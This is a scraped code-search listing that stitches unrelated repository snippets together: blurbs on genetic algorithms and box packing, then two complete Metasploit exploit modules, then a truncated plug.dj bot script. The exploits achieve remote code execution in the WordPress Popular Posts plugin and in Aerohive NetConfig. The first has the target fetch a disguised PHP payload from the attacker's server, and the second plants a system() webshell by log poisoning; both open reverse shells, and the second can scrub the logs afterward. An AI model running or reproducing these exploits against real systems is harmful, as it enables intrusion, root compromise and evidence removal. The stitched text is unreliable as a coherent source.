282 skills found · Page 7 of 10
muneeb3123 / Project Protfolio.github.ioThe website presented here is a sophisticated and aesthetically pleasing portfolio website, created as part of the Microverse Module 1 capstone project. It is designed to be fully responsive, utilizing HTML, CSS, and JavaScript to ensure that the website looks and functions perfectly across a range of different devices and screen sizes.
amarjitdhillon / Find Shortest Path Using Generic Algorithm In MATLABObjective of this project was to select minimum cost path for sending packets from router A to router B such that all routers are traversed, hence this problem is different to Travelling Salesmen Problem (TSP), where Intermediate nodes can be left off. Initial location for all routers was randomly generated in 3-D space. Hinged upon initially generated locations, distance amidst them is computed using Euclidian formula which serves as Fitness function. Initial Population was selected using Roulette wheel selection using aforementioned Fitness function. Then Crossover was computed if, Probability of crossover. Pc > (Randomly generated probability) using two-point crossover. After this initial population was updated and mutation was done if Pm > (Randomly generated probability). Best chromosome was computed using max fitness function and Inversion / Swapping / Sliding was done on 2nd,3rd,4th chromosome, while 1st chromosome was passed as such using Elite Selection method to preserve best chromosome (Solution in this case). User have laxity to enter number of initial routers, size of initial population and number of iterations for Genetic algorithm to simulate. This method was named as MGA (Modified Genetic Algorithm) and it’s performance was juxtaposed with SGA (Simple Genetic Algorithm) where Initial Selection / Fitness function / Crossover / Mutation method deployed were computed differently using same set of routers co-ordinates used for SGA. Results were shown using six simulation Graphs, three for each case.
leonardovvla / Deep Box PackingThe Packing problem has gained much relevance with the recent upheaval of the delivery and retail industry. Companies all over the world are now subject to massive logistics & operations schemes, and their warehouses‘ e ectiveness is irrevocably bound to how well their products are packed into trucks for distribution. Optimizing this process may lead to huge improvements in performance, time use, resource management and to ultimately increasing profits. Seeking to perform and deliver this optimization, this work proposes a new method called “Deep Box Packing” (DBP), an online system which is able to provide an optimized packing strategy for an arbitrary set of three-dimensional boxes arriving in real-time. DBP was trained using Deep Reinforcement Learning and leverages the power of attention mechanisms in a modified version of the Transformer Network called here the Mapping Transformer. It was conceived to work under partial information, in real-time, and to respond to all of the three inherent questions of packing: which box to take (selection), where to place it in the container (position) and how to place it (orientation) at every given moment in time. Its reward function was tailored not only in terms of optimizing the final Volume utilization of the container but also in terms of the feasibility of the packing sequence, withholding constraints such as box stability and accessibility to the packing positions from the entrance of the container. Under this scenario, DBP was capable of achieving outstanding results in the tested instances up to 100% volume utilization in fully feasible packings. Under comparative tests, DBP considerably improved results obtained from a wall-building LB-Greedy heuristic and showed high generalization capacity to different sizes of the Information window (number of boxes from the whole sequence it can see and choose from at any moment in time). After a set of visual step-by-step analyses of DBP’s behavior in generated packing sequences, it was also shown that it was able to achieve high geometric understanding and great potential for being expanded into a real warehouse scenario.
Nate0634034090 / Nate158g M W N L P D A O E### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen endend### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain RCE as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # still categorized as RESERVED ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('Target is not an Aerohive NetConfig application.') end version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('Could not determine Aerohive NetConfig version.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("The target is Aerohive NetConfig version #{version}") else print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.') return CheckCode::Safe("The target is Aerohive NetConfig version #{version}") end rescue StandardError => e return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Poison /tmp/messages print_status('Attempting to poison the log at /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages') end print_status('Server responded as expected. Continuing...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Attempting to clean the log file at /tmp/messages...') print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.') begin # We need remove the line containing the PHP system call from /tmp/messages # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username. # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same: # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"") # Wait for cleanup Rex.sleep 5 # Check for the PHP system call in /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # using =~ here produced unexpected results, so include? is used instead unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Check for the PHP system call in /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # using =~ here produced unexpected results, so include? is used instead unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Error during cleanup: #{e.message}") ensure super end unless log_cleaned print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages") end end if log_cleaned print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.') else print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}") print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.') print_warning('Deleting /tmp/messages or clearing out the file may break the application.') end end def execute_command(cmd, _opts = {}) print_status('Attempting to execute the payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation @shell_cmd_name => cmd } }, 0) print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend
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Leandropesao / Boooot// Generated by CoffeeScript 1.6.2 (function() { var Command, RoomHelper, User, addCommand, afkCheck, afksCommand, allAfksCommand, announceCurate, antispam, apiHooks, avgVoteRatioCommand, chatCommandDispatcher, chatUniversals, cmds, data, dieCommand, disconnectLookupCommand, fans, handleNewSong, handleUserJoin, handleUserLeave, handleVote, hook, initEnvironment, initHooks, initialize, lockCommand, lockskipCommand, msToStr, newSongsCommand, newsCommand, populateUserData, channelCommand, pupOnline, reloadCommand, removeCommand, roomHelpCommand, rulesCommand, settings, skipCommand, staffCommand, statusCommand, themeCommand, undoHooks, unhook, unlockCommand, updateVotes, versionCommand, voteRatioCommand, ref, _ref1, _ref10, _ref11, _ref12, _ref13, _ref14, _ref15, _ref16, _ref17, _ref18, _ref19, _ref2, _ref20, _ref21, _ref3, _ref4, _ref5, _ref6, _ref7, _ref8, _ref9, __bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; }, __indexOf = [].indexOf || function(item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i; } return -1; }, __hasProp = {}.hasOwnProperty, __extends = function(child, parent) { for (var key in parent) { if (_hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }; settings = (function() { function settings() { this.implode = __bind(this.implode, this); this.intervalMessages = __bind(this.intervalMessages, this); this.startAfkInterval = __bind(this.startAfkInterval, this); this.setInternalWaitlist = __bind(this.setInternalWaitlist, this); this.userJoin = __bind(this.userJoin, this); this.getRoomUrlPath = __bind(this.getRoomUrlPath, this); this.startup = __bind(this.startup, this); } settings.prototype.currentsong = {}; settings.prototype.users = {}; settings.prototype.djs = []; settings.prototype.mods = []; settings.prototype.host = []; settings.prototype.hasWarned = false; settings.prototype.currentwoots = 0; settings.prototype.currentmehs = 0; settings.prototype.currentcurates = 0; settings.prototype.roomUrlPath = null; settings.prototype.internalWaitlist = []; settings.prototype.userDisconnectLog = []; settings.prototype.voteLog = {}; settings.prototype.seshOn = false; settings.prototype.forceSkip = false; settings.prototype.seshMembers = []; settings.prototype.launchTime = null; settings.prototype.totalVotingData = { woots: 0, mehs: 0, curates: 0 }; settings.prototype.pupScriptUrl = 'https://dl.dropbox.com/u/21023321/TastycatBot.js'; settings.prototype.afkTime = 666 * 60 * 1000; settings.prototype.songIntervalMessages = [ { interval: 7, offset: 0, msg: "Entrem na nossa pagina: http://www.facebook.com/EspecialistasDasZoeiras?ref=hl" }, { interval: 5, offset: 0, msg: "Mantenha-se ativo no bate-papo e Votando. Ser não sera Retirado da Lista de DJ e da Cabine!" } ]; settings.prototype.songCount = 0; settings.prototype.startup = function() { this.launchTime = new Date(); return this.roomUrlPath = this.getRoomUrlPath(); }; settings.prototype.getRoomUrlPath = function() { return window.location.pathname.replace(/\//g, ''); }; settings.prototype.newSong = function() { this.totalVotingData.woots += this.currentwoots; this.totalVotingData.mehs += this.currentmehs; this.totalVotingData.curates += this.currentcurates; this.setInternalWaitlist(); this.currentsong = API.getMedia(); if (this.currentsong !== null) { return this.currentsong; } else { return false; } }; settings.prototype.userJoin = function(u) { var userIds, _ref; userIds = Object.keys(this.users); if (_ref = u.id, __indexOf.call(userIds, _ref) >= 0) { return this.users[u.id].inRoom(true); } else { this.users[u.id] = new User(u); return this.voteLog[u.id] = {}; } }; settings.prototype.setInternalWaitlist = function() { var boothWaitlist, fullWaitList, lineWaitList; boothWaitlist = API.getDJs().slice(1); lineWaitList = API.getWaitList(); fullWaitList = boothWaitlist.concat(lineWaitList); return this.internalWaitlist = fullWaitList; }; settings.prototype.activity = function(obj) { if (obj.type === 'message') { return this.users[obj.fromID].updateActivity(); } }; settings.prototype.startAfkInterval = function() { return this.afkInterval = setInterval(afkCheck, 2000); }; settings.prototype.intervalMessages = function() { var msg, _i, _len, _ref, _results; this.songCount++; _ref = this.songIntervalMessages; _results = []; for (_i = 0, _len = _ref.length; _i < _len; _i++) { msg = _ref[_i]; if (((this.songCount + msg['offset']) % msg['interval']) === 0) { _results.push(API.sendChat(msg['msg'])); } else { _results.push(void 0); } } return _results; }; settings.prototype.implode = function() { var item, val; for (item in this) { val = this[item]; if (typeof this[item] === 'object') { delete this[item]; } } return clearInterval(this.afkInterval); }; settings.prototype.lockBooth = function(callback) { if (callback == null) { callback = null; } return $.ajax({ url: "http://plug.dj/_/gateway/room.update_options", type: 'POST', data: JSON.stringify({ service: "room.update_options", body: [ this.roomUrlPath, { "boothLocked": true, "waitListEnabled": true, "maxPlays": 1, "maxDJs": 5 } ] }), async: this.async, dataType: 'json', contentType: 'application/json' }).done(function() { if (callback != null) { return callback(); } }); }; settings.prototype.unlockBooth = function(callback) { if (callback == null) { callback = null; } return $.ajax({ url: "http://plug.dj/_/gateway/room.update_options", type: 'POST', data: JSON.stringify({ service: "room.update_options", body: [ this.roomUrlPath, { "boothLocked": false, "waitListEnabled": true, "maxPlays": 1, "maxDJs": 5 } ] }), async: this.async, dataType: 'json', contentType: 'application/json' }).done(function() { if (callback != null) { return callback(); } }); }; return settings; })(); data = new settings(); User = (function() { User.prototype.afkWarningCount = 0; User.prototype.lastWarning = null; User.prototype["protected"] = false; User.prototype.isInRoom = true; function User(user) { this.user = user; this.updateVote = __bind(this.updateVote, this); this.inRoom = __bind(this.inRoom, this); this.notDj = __bind(this.notDj, this); this.warn = __bind(this.warn, this); this.getIsDj = __bind(this.getIsDj, this); this.getWarningCount = __bind(this.getWarningCount, this); this.getUser 